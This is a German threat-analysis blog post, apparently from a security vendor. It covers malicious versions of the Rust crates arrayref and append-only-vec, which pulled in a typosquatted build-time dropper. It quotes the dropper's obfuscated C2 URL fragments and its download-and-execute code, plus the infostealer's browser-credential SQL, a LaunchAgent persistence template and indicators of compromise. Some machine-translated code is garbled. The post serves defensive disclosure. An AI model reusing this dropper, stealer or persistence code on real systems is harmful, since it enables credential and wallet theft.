Aikido

Zwei beliebte Rust-Crates – „arrayref“ und „append-only-vec“ – wurden bei einem Supply-Chain-Angriff kompromittiert

Verfasst von
Ilyas Makari

Am 20. August haben wir zwei beliebte Rust-Crates desselben Betreuers entdeckt, Nur-Anhängen-Vektor (4 Millionen Downloads) und arrayref (244 Millionen Downloads) wurden manipuliert. Der Angreifer fügte eine schädliche Abhängigkeit zu einem Paket namens proc-macro1, das während des Build-Vorgangs eine Remote-Payload herunterlädt und diese auf dem Rechner des Entwicklers ausführt. Da die Abhängigkeit zum Zeitpunkt des Builds ausgeführt wird, reicht bereits das einfache Kompilieren eines Projekts, das eine der beiden Crates einbindet, aus, um die Infektion auszulösen – ohne dass die eigentliche Funktionalität der Crate aufgerufen werden muss. Dies ist wesentlich schwerwiegender als die vorheriger Kompromiss bezüglich der Onering-Kiste darüber haben wir bereits im Juni berichtet. Diesmal ist der Wirkungsradius deutlich größer, sodass es sich gemessen an der Anzahl der Downloads um den bislang größten Angriff auf Rust-Crates handelt, den wir bisher beobachtet haben.

Was geschah

Wir haben zuerst proc-macro1 in unserer Pipeline als neues Paket, das verdächtige Aktivitäten ausführt, indem es eine Datei von einem Remote-Server herunterlädt und ausführt. Der Name ist ein Typosquat von proc-macro2, eine der am häufigsten verwendeten Crates im Rust-Ökosystem, und das Paket kopiert die Beschreibung, den Namen des Autors und die Dokumentation der echten Crate, um sich als das echte Projekt auszugeben. Angesichts der geringen Download-Zahlen haben wir uns zunächst keine weiteren Gedanken darüber gemacht. Doch noch innerhalb derselben Stunde entdeckten wir dann zwei beliebte Pakete des Betreuers von Nur-Anhängen-Vektor und arrayref plötzlich von … abhängig sein proc-macro1. Genau das hat aus einem gewöhnlichen Typosquatting-Vorfall einen echten Vorfall in der Lieferkette gemacht.

Die beiden kompromittierten Crates wirken auf den ersten Blick unbedenklich. Ihr Quellcode stammt aus dem echten Upstream-Code, und keiner der Crates verweist auf proc-macro1 an beliebiger Stelle im Quellcode. Der gesamte Kompromiss besteht aus einer einzigen eingefügten Zeile in jedem Manifest:

[Abhängigkeiten]
proc-macro1 = "1.0.107"

Die schädliche Logik befindet sich vollständig in der build.rs Datei von proc-macro1, das Cargo während eines Builds automatisch kompiliert und ausführt. Das Build-Skript verschleiert sein Netzwerkziel als Base64-Fragmente, um String-Scanner zu umgehen:

// SRC wird zu https://23[.]254[.]165[.]112:9089/ dekodiert
const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", „MTEyOg==“, „OTA4OS8=“];

// END wird zu 23[.]254[.]165[.]112:443 dekodiert
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", „NDQz“];

Bei der Erstellung wählt das Programm eine Payload aus, die genau auf das Betriebssystem und die CPU-Architektur des Opfers zugeschnitten ist (Linux x86_64, Windows x86_64, macOS x86_64, macOS aarch64), und lädt diese anschließend über HTTPS mit einer einfachen GET-Anfrage herunter. Unter Unix und macOS schreibt es die heruntergeladenen Bytes auf die Festplatte, kennzeichnet die Datei als ausführbar und startet sie im Hintergrund, wobei die Ausgabe unterdrückt wird:

fn run_unix_payload(bytes: Vec<u8>) {
    let path = PathBuf::from("/tmp/rust-setup");
    std::fs::write(&path, &bytes).expect("failed to write payload");
    // chmod +x /tmp/rust-setup
    Command::new("chmod").args(["+x", path.to_str().unwrap()]).status().unwrap();
    // execute detached, handing it the second address (23[.]254[.]165[.]112:443)
    Command::new(&path)
        .arg(end_url())
        .stdin(Stdio::null())
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .spawn()
        .expect("failed to spawn payload");
}

Unter Windows wird ein PowerShell-Skript geschrieben und über einen WScript- und .vbs-Launcher im Hintergrund gestartet. Wie im Kommentar zum Code selbst vermerkt, wurde diese Technik gewählt, um das Job-Objekt von „ escape “ von Cargo so zu gestalten, dass der gestartete Prozess auch nach Abschluss des Builds weiterläuft.

Wir haben außerdem ein ähnliches schädliches Paket namens proc-macro-de, veröffentlicht unter dem Namen des Autors daveroundy. Dieser Autorenname ahmt nach droundy, der rechtmäßige Betreuer von Nur-Anhängen-Vektor und arrayref, was darauf hindeutet, dass der Angreifer weitere ähnliche Pakete erstellt und sich als derselbe Betreuer ausgegeben hat, um ihnen Glaubwürdigkeit zu verleihen.

Die Payload

Wir haben zwei der vier Plattform-Builds erhalten, nämlich den Linux x86_64 ELF (rust-crate_0.1.0) und die macOS-aarch64-Mach-O-Datei (rust-crate_0.4.0). Das uns übermittelte Windows PowerShell-Beispiel war eine Datei mit einer Größe von null Byte und enthielt daher keinen analysierbaren Inhalt. Bei beiden nativen Binärdateien handelt es sich um ausführbare Rust-Dateien, und beide gehören zur selben Malware-Familie, wurden jedoch für unterschiedliche Ziele kompiliert.

Sein Befehls- und Kontrollserver ist nicht fest in die Binärdatei eingebettet. Stattdessen liest die Binärdatei ihn aus dem Befehlszeilenargument aus, mit dem sie gestartet wurde; dabei handelt es sich genau um die zweite Adresse (23[.]254[.]165[.]112:443), dass die build.rs Der Dropper wird übertragen, wenn er die Nutzlast generiert. Die IP-Adresse ist also ein Indikator für diesen Angriff, und dieselbe Binärdatei könnte in Zukunft mit einem anderen C2-Server wiederverwendet werden.

Wir haben dies in der macOS-Version durch Disassemblierung bestätigt. Der Stealer liest seine eigenen Prozessargumente über _NSGetArgc und _NSGetArgv, fasst sie in einer Liste zusammen und fügt später einen Host-Wert in einen URL-Aufbaupfad ein: https://{host}/49890878.

Infostealer

Die Nutzlast enthält einen Infostealer, der es auf die von Chromium-basierten Browsern gespeicherten Anmeldedaten abgesehen hat. Die macOS-Version verweist auf die Profilpfade von Google Chrome, Brave und Microsoft Edge und enthält eingebettetes SQL-Code, der die gespeicherten Anmeldedaten direkt aus der Anmeldedatenbank des Browsers ausliest:

SELECT DISTINCT origin_url FROM logins WÄHREND origin_url IST NICHT NULL ...
SELECT DISTINCT Benutzername_Wert FROM logins WÄHREND Benutzername_Wert IS NICHT NULL ...

Außerdem wird auf den Speicher von Browser-Erweiterungen Bezug genommen (Lokale Erweiterungs-Einstellungen), wo viele browserbasierte Kryptowährungs-Wallets ihre Daten speichern; daher umfasst der Erfassungsumfang sowohl gespeicherte Anmeldedaten als auch Wallet-Inhalte.

Persistenz

Unter macOS enthält der Build eine Vorlage für eine LaunchAgent-Eigenschaftsliste und die Bibliothek/LaunchAgents Pfadkomponente zusammen mit einer RunAtLoad Schlüssel. Die Vorlage wird zur Laufzeit ausgefüllt und ist so eingerichtet, dass ein Shell-Befehl über /bin/zsh -c.

Wir haben die eingebettete Vorlage wiederhergestellt. Die Bezeichnung und die Befehlszeile sind Platzhalter, die beim Speichern des Agenten auf der Festplatte ausgefüllt werden:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>x</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/zsh</string>
        <string>-c</string>
        <string>D</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

Das Vorhandensein dieser Vorlage und die Bibliothek/LaunchAgents Der Pfad ist ein deutlicher Hinweis darauf, dass die Nutzlast so konfiguriert ist, dass sie einen LaunchAgent auf Benutzerebene installiert, um die Persistenz zu gewährleisten.

Führung und Kontrolle

Wir haben eindeutige Hinweise darauf, dass die Payload auch einen leichtgewichtigen Remote-Befehlsausführer enthält. Nach dem Start meldet er sich beim Server an und sendet dabei einen strukturierten Satz von Feldern, die den infizierten Rechner identifizieren, darunter eine ID, die primäre URL und grundlegende Host-Details wie os_type, os_ver, os_arch, platform_ver, App, und E-Mail. Der Server kann daraufhin mit Aufgaben antworten, und die Nutzlast leitet diese an einen internen Dispatcher weiter. Der Dispatcher unterstützt einen kleinen festen Satz von Befehlen. Die Namen, die wir ermittelt haben, lauten minicfg, Start-up, runscript, Schale, und ShellX. Das runscript, Schale, und ShellX sind die Ausführungsbefehle. Wir haben außerdem eine Primitive für zeitgesteuertes Warten gefunden, was darauf hindeutet, dass die Nutzlast den C2-Server wahrscheinlich in regelmäßigen Abständen abfragt, um nach neuen Befehlen zu suchen, anstatt ihn nur einmal zu kontaktieren.

Wie Aikido dies erkennt

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.

Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.

Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.

Indikatoren für Kompromittierung

Betroffene Pakete

  • proc-macro-de 1.0.10 (schädliche Abhängigkeit)
  • proc-macro1 1.0.107 (schädliche Abhängigkeit)
  • Nur-Anhängen-Vektor 0.1.9, kompromittiert (4.484.606 Downloads)
  • arrayref 0.3.10, kompromittiert (244.989.384 Downloads)

Netzwerkindikatoren

  • 23[.]254[.]165[.]112:9089 - Host für die Bereitstellung der Nutzdaten
  • 23[.]254[.]165[.]112:443 - Der C2-Host wurde als Argument an die ausgeführte Payload übergeben

Dateikennzeichen

Die Binärdateien der Nutzlast proc-macro1 Downloads, sank auf /tmp/rust-setup unter Linux und macOS:

  • rust-crate_0.1.0 (Linux x86_64 ELF)
    • SHA-256: 408ef22050ffc5a67e005802809026b29f297a8019f8fda91a2afa8e877ba434
  • rust-crate_0.4.0 (macOS aarch64 Mach-O)
    • SHA-256: 74d3447e7cf99c99ea01a16332ec27432dfb0f491e10e67cd118065a60483306
Teilen:

https://www.aikido.dev/blog/two-popular-rust-crates-arrayref-and-append-only-vec-compromised-in-supply-chain-attack

Nach Malware scannen

Kostenlos starten
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.